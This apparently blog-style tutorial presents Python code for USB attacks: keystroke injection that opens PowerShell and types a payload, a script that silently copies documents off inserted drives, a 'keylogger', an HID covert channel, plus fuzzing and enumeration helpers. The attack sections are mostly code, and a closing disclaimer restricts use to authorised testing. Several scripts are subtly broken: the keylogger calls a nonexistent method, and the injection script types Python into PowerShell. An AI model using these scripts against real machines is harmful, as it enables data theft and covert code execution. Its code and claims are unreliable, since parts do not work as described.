Python Based Usb Exploitation
USB (Universal Serial Bus) devices are ubiquitous in modern computing environments. While they offer convenience and versatility, they also present potential security risks. This article explores Python-based techniques for USB exploitation, providing practical examples and use cases.
1. USB Device Enumeration
Before diving into exploitation techniques, it’s crucial to understand how to enumerate USB devices using Python. The pyusb
library provides a convenient way to interact with USB devices.
import usb.core
import usb.util
# Find all USB devices
devices = usb.core.find(find_all=True)
for device in devices:
print(f"Device ID: {device.idVendor:04x}:{device.idProduct:04x}")
print(f"Manufacturer: {usb.util.get_string(device, device.iManufacturer)}")
print(f"Product: {usb.util.get_string(device, device.iProduct)}")
print("---")
This script lists all connected USB devices along with their vendor and product IDs, manufacturer, and product names.
2. USB Rubber Ducky Emulation
USB Rubber Ducky is a well-known tool for keystroke injection attacks. We can emulate its functionality using Python and a compatible microcontroller like the Raspberry Pi Pico.
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
import time
# Initialize the keyboard
keyboard = Keyboard(usb_hid.devices)
# Function to type a string
def type_string(string):
for char in string:
if char.isupper():
keyboard.press(Keycode.SHIFT)
keyboard.press(Keycode.ASCII_TO_KEYCODE[ord(char.lower())])
keyboard.release_all()
time.sleep(0.1)
# Example payload
payload = """
import os
os.system('calc.exe')
"""
# Execute the payload
time.sleep(5) # Wait for the device to be recognized
keyboard.press(Keycode.WINDOWS, Keycode.R)
keyboard.release_all()
time.sleep(0.5)
type_string("powershell")
keyboard.press(Keycode.ENTER)
keyboard.release_all()
time.sleep(1)
type_string(payload)
keyboard.press(Keycode.ENTER)
keyboard.release_all()
This script emulates a USB keyboard, opens PowerShell, and executes a Python command to launch the calculator.
3. USB Mass Storage Exploitation
Python can be used to interact with USB mass storage devices, potentially for data exfiltration or malware insertion.
import os
from pyudev import Context, Monitor, MonitorObserver
def on_usb_event(action, device):
if action == 'add' and device.get('ID_FS_TYPE') in ['vfat', 'ntfs']:
print(f"USB drive detected: {device.get('DEVNAME')}")
mount_point = device.get('DEVNAME')
if mount_point:
exfiltrate_data(mount_point)
def exfiltrate_data(mount_point):
target_extensions = ['.txt', '.pdf', '.docx']
for root, _, files in os.walk(mount_point):
for file in files:
if any(file.endswith(ext) for ext in target_extensions):
source_path = os.path.join(root, file)
dest_path = os.path.join('/tmp/exfiltrated', file)
os.makedirs(os.path.dirname(dest_path), exist_ok=True)
os.system(f"cp '{source_path}' '{dest_path}'")
print(f"Exfiltrated: {file}")
context = Context()
monitor = Monitor.from_netlink(context)
monitor.filter_by(subsystem='block', device_type='partition')
observer = MonitorObserver(monitor, on_usb_event)
observer.start()
print("Monitoring for USB drives...")
input("Press Enter to stop monitoring...")
observer.stop()
This script monitors for newly connected USB drives and copies files with specific extensions to a designated location.
4. USB-based Keylogger
Python can be used to create a USB-based keylogger using a microcontroller like the Arduino Leonardo or Raspberry Pi Pico.
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
import time
import board
import digitalio
import storage
# Initialize the keyboard
keyboard = Keyboard(usb_hid.devices)
# Setup an LED for status indication
led = digitalio.DigitalInOut(board.LED)
led.direction = digitalio.Direction.OUTPUT
# Function to log keystrokes
def log_keystroke(key):
with open("/logs/keylog.txt", "a") as f:
f.write(key + "\n")
# Main keylogger loop
while True:
for key in Keycode:
if keyboard.pressed(key):
log_keystroke(str(key))
led.value = True
time.sleep(0.1)
led.value = False
time.sleep(0.01)
This script logs all keystrokes to a file on the microcontroller’s storage, which can later be retrieved.
5. USB Fuzzing
Fuzzing is a technique used to find vulnerabilities in software by providing unexpected or random data as input. Here’s a simple example of USB fuzzing using Python:
import usb.core
import usb.util
import random
def fuzz_usb_device(vendor_id, product_id):
dev = usb.core.find(idVendor=vendor_id, idProduct=product_id)
if dev is None:
raise ValueError('Device not found')
dev.set_configuration()
for i in range(1000): # Number of fuzz attempts
endpoint = random.randint(0, 15)
data = bytes([random.randint(0, 255) for _ in range(random.randint(1, 64))])
try:
dev.write(endpoint, data)
print(f"Fuzz {i}: Sent {len(data)} bytes to endpoint {endpoint}")
except usb.core.USBError as e:
print(f"Fuzz {i}: Error - {str(e)}")
# Example usage
fuzz_usb_device(0x046d, 0xc52b) # Replace with actual vendor and product IDs
This script attempts to send random data to random endpoints on a specified USB device, which may help identify potential vulnerabilities.
6. USB Protocol Analysis
Understanding USB protocols is crucial for effective exploitation. Let’s create a simple USB protocol analyzer using Python:
import usb.core
import usb.util
def analyze_usb_device(vendor_id, product_id):
device = usb.core.find(idVendor=vendor_id, idProduct=product_id)
if device is None:
raise ValueError('Device not found')
device.set_configuration()
for cfg in device:
print(f"Configuration {cfg.bConfigurationValue}:")
for intf in cfg:
print(f" Interface {intf.bInterfaceNumber}:")
for ep in intf:
print(f" Endpoint {ep.bEndpointAddress:02x}:")
print(f" Type: {usb.util.endpoint_type(ep.bmAttributes)}")
print(f" Direction: {'IN' if usb.util.endpoint_direction(ep.bEndpointAddress) == usb.util.ENDPOINT_IN else 'OUT'}")
print(f" Max Packet Size: {ep.wMaxPacketSize}")
# Example usage
analyze_usb_device(0x046d, 0xc52b) # Replace with actual vendor and product IDs
This script provides a detailed analysis of a USB device’s configuration, interfaces, and endpoints.
7. USB-based Covert Channel
We can create a covert channel using USB Human Interface Device (HID) reports to transmit data stealthily:
import usb.core
import usb.util
import time
import struct
def send_covert_data(device, data):
for byte in data:
# Encode the byte in the first byte of an 8-byte HID report
report = struct.pack('B' + 'x'*7, byte)
device.ctrl_transfer(0x21, 0x09, 0x200, 0, report)
time.sleep(0.01) # Delay to avoid overwhelming the device
def receive_covert_data(device, length):
data = b''
for _ in range(length):
# Read an 8-byte HID report and extract the first byte
report = device.read(0x81, 8, timeout=1000)
data += bytes([report[0]])
return data
# Example usage (sender)
dev = usb.core.find(idVendor=0x046d, idProduct=0xc52b) # Replace with actual vendor and product IDs
send_covert_data(dev, b'Secret message')
# Example usage (receiver)
received = receive_covert_data(dev, 14) # 14 is the length of 'Secret message'
print(received.decode())
This script demonstrates how to use USB HID reports to create a covert channel for data transmission.
Conclusion
Python provides powerful tools for USB exploitation and security research. The examples provided here demonstrate various techniques for interacting with and exploiting USB devices. However, it’s crucial to use these techniques responsibly and ethically. Always obtain proper authorization before testing any systems or devices, and use this knowledge to improve security rather than compromise it.
Here’s a visual representation of the USB exploitation process:
graph TD A[USB Device] --> B[Enumeration] B --> C{Exploitation Technique} C --> D[Rubber Ducky Emulation] C --> E[Mass Storage Exploitation] C --> F[Keylogger] C --> G[Fuzzing] C --> H[Protocol Analysis] C --> I[Covert Channel] D --> J[Execute Payload] E --> K[Data Exfiltration] F --> L[Log Keystrokes] G --> M[Identify Vulnerabilities] H --> N[Understand Device Structure] I --> O[Stealthy Data Transfer]
This diagram illustrates the flow of USB exploitation techniques, from device enumeration to specific exploitation methods and their outcomes.
Remember that unauthorized access to systems or data is illegal and unethical. Use these techniques only in controlled environments with explicit permission for educational or professional security testing purposes.